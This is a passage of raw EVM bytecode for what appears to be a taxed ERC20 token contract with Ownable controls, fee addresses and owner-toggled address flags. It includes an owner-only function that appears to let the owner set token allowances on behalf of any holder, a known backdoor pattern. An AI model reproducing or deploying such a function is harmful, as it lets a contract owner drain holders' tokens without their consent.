0200160002060009054906101000a900460ff1615600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6f6e6c792062652063616c6c656420627920666565206164647265737300000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113b16113b6565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915054906101000a900460ff1681565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114975780601f1061146c57610100808354040283529160200191611497565b820191906000526020600020905b81548152906001019060200180831161147a57829003601f168201915b5050505050905090565b60006115646114ae611a9b565b8461155f85604051806060016040528060258152602001612b8a60259139600260006114d8611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b611aa3565b6001905092915050565b600061158261157b611a9b565b8484611c9a565b6001905092915050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116225780601f106115f757610100808354040283529160200191611622565b820191906000526020600020905b81548152906001019060200180831161160557829003601f168201915b505050505081565b600a5481565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b505050505081565b6116d6611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006118cf611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61199b848484611aa3565b600190509392505050565b6119ae611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a78816126d9565b50565b60046020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612a696022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611da6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129fe6023913960400191505060405180910390fd5b6000809050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e4e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ee657611e69603260055461281d90919063ffffffff16565b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611eb657600080fd5b611edf600b54611ed16009548561286790919063ffffffff16565b61281d90919063ffffffff16565b9050611fbb565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f895750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fba57611fb7600b54611fa9600a548561286790919063ffffffff16565b61281d90919063ffffffff16565b90505b5b61202782604051806060016040528060268152602001612a8b60269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ce816120c084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b6128ed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61217384866128ed90919063ffffffff16565b6040518082815260200191505060405180910390a360008111156122f2576122058160016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b60016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b50505050565b60008383111582906123a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561236a57808201518184015260208101905061234f565b50505050905090810190601f1680156123975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b206021913960400191505060405180910390fd5b61253281604051806060016040528060228152602001612a2160229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e98160016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561275f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a436026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061285f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612937565b905092915050565b60008083141561287a57600090506128e7565b600082840290508284828161288b57fe5b04146128e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ad76021913960400191505060405180910390fd5b809150505b92915050565b600061292f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f8565b905092915050565b600080831182906129e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129a857808201518184015260208101905061298d565b50505050905090810190601f1680156129d55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816129ef57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636574617820666565206d757374206265206c657373207468616e203130302070657263656e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820404ec10f94864c4fb0f876bb571d5b65f6997f9d330d28cdb6e5f43173d27a6e64736f6c63430005100032000000000000000000000000abea70e445e0cde24e5952b6e343e24e44b78b78
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638705fcd411610104578063b09f1266116100a2578063dd62ed3e11610071578063dd62ed3e146109af578063e1f21c6714610a27578063f2fde38b14610aad578063fe33b30214610af1576101da565b8063b09f126614610847578063cc1776d3146108ca578063d28d8852146108e8578063dd21a9361461096b576101da565b80638e5916b2116100de5780638e5916b21461069c57806395d89b41146106f8578063a457c2d71461077b578063a9059cbb146107e1576101da565b80638705fcd4146105c4578063893d20e8146106085780638da5cb5b14610652576101da565b8063395093511161017c578063667f65261161014b578063667f6526146104e657806370a082311461051e578063715018a6146105765780637f4f356f14610580576101da565b806339509351146103d2578063412753581461043857806342966c68146104825780634f7041a5146104c8576101da565b806323b872dd116101b857806323b872dd146102e65780632e6f23851461036c578063313ce5671461038a57806332424aa3146103ae576101da565b806306fdde03146101df578063095ea7b31461026257806318160ddd146102c8575b600080fd5b6101e7610b4d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bef565b604051808215151515815260200191505060405180910390f35b6102d0610c0d565b6040518082815260200191505060405180910390f35b610352600480360360608110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c17565b604051808215151515815260200191505060405180910390f35b610374610cf0565b6040518082815260200191505060405180910390f35b610392610cf6565b604051808260ff1660ff16815260200191505060405180910390f35b6103b6610d0d565b604051808260ff1660ff16815260200191505060405180910390f35b61041e600480360360408110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d20565b604051808215151515815260200191505060405180910390f35b610440610dd3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ae6004803603602081101561049857600080fd5b8101908080359060200190929190505050610df9565b604051808215151515815260200191505060405180910390f35b6104d0610e15565b6040518082815260200191505060405180910390f35b61051c600480360360408110156104fc57600080fd5b810190808035906020019092919080359060200190929190505050610e1b565b005b6105606004803603602081101561053457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5f565b6040518082815260200191505060405180910390f35b61057e610fa8565b005b6105c26004803603602081101561059657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611130565b005b610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a0565b005b6106106113a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61065a6113b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106de600480360360208110156106b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113df565b604051808215151515815260200191505060405180910390f35b6107006113ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610740578082015181840152602081019050610725565b50505050905090810190601f16801561076d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c76004803603604081101561079157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a1565b604051808215151515815260200191505060405180910390f35b61082d600480360360408110156107f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156e565b604051808215151515815260200191505060405180910390f35b61084f61158c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088f578082015181840152602081019050610874565b50505050905090810190601f1680156108bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108d261162a565b6040518082815260200191505060405180910390f35b6108f0611630565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109ad6004803603602081101561098157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ce565b005b610a11600480360360408110156109c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183e565b6040518082815260200191505060405180910390f35b610a9360048036036060811015610a3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c5565b604051808215151515815260200191505060405180910390f35b610aef60048036036020811015610ac357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a6565b005b610b3360048036036020811015610b0757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7b565b604051808215151515815260200191505060405180910390f35b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be55780601f10610bba57610100808354040283529160200191610be5565b820191906000526020600020905b815481529060010190602001808311610bc857829003601f168201915b5050505050905090565b6000610c03610bfc611a9b565b8484611aa3565b6001905092915050565b6000600554905090565b6000610c24848484611c9a565b610ce584610c30611a9b565b610ce085604051806060016040528060288152602001612af860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c96611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b611aa3565b600190509392505050565b600b5481565b6000600660009054906101000a900460ff16905090565b600660009054906101000a900460ff1681565b6000610dc9610d2d611a9b565b84610dc48560026000610d3e611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b611aa3565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e0c610e06611a9b565b83612440565b60019050919050565b60095481565b610e23611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6127108211158015610ef857506127108111155b610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ab16026913960400191505060405180910390fd5b8160098190555080600a819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fb0611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611138611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6f6e6c792062652063616c6c656420627920666565206164647265737300000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113b16113b6565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915054906101000a900460ff1681565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114975780601f1061146c57610100808354040283529160200191611497565b820191906000526020600020905b81548152906001019060200180831161147a57829003601f168201915b5050505050905090565b60006115646114ae611a9b565b8461155f85604051806060016040528060258152602001612b8a60259139600260006114d8611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b611aa3565b6001905092915050565b600061158261157b611a9b565b8484611c9a565b6001905092915050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116225780601f106115f757610100808354040283529160200191611622565b820191906000526020600020905b81548152906001019060200180831161160557829003601f168201915b505050505081565b600a5481565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b505050505081565b6116d6611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006118cf611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61199b848484611aa3565b600190509392505050565b6119ae611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a78816126d9565b50565b60046020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612a696022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611da6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129fe6023913960400191505060405180910390fd5b6000809050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e4e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ee657611e69603260055461281d90919063ffffffff16565b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611eb657600080fd5b611edf600b54611ed16009548561286790919063ffffffff16565b61281d90919063ffffffff16565b9050611fbb565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f895750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fba57611fb7600b54611fa9600a548561286790919063ffffffff16565b61281d90919063ffffffff16565b90505b5b61202782604051806060016040528060268152602001612a8b60269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ce816120c084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b6128ed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61217384866128ed90919063ffffffff16565b6040518082815260200191505060405180910390a360008111156122f2576122058160016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b60016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b50505050565b60008383111582906123a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561236a57808201518184015260208101905061234f565b50505050905090810190601f1680156123975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b206021913960400191505060405180910390fd5b61253281604051806060016040528060228152602001612a2160229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e98160016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561275f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a436026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061285f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612937565b905092915050565b60008083141561287a57600090506128e7565b600082840290508284828161288b57fe5b04146128e2576040517f08c379a000000000000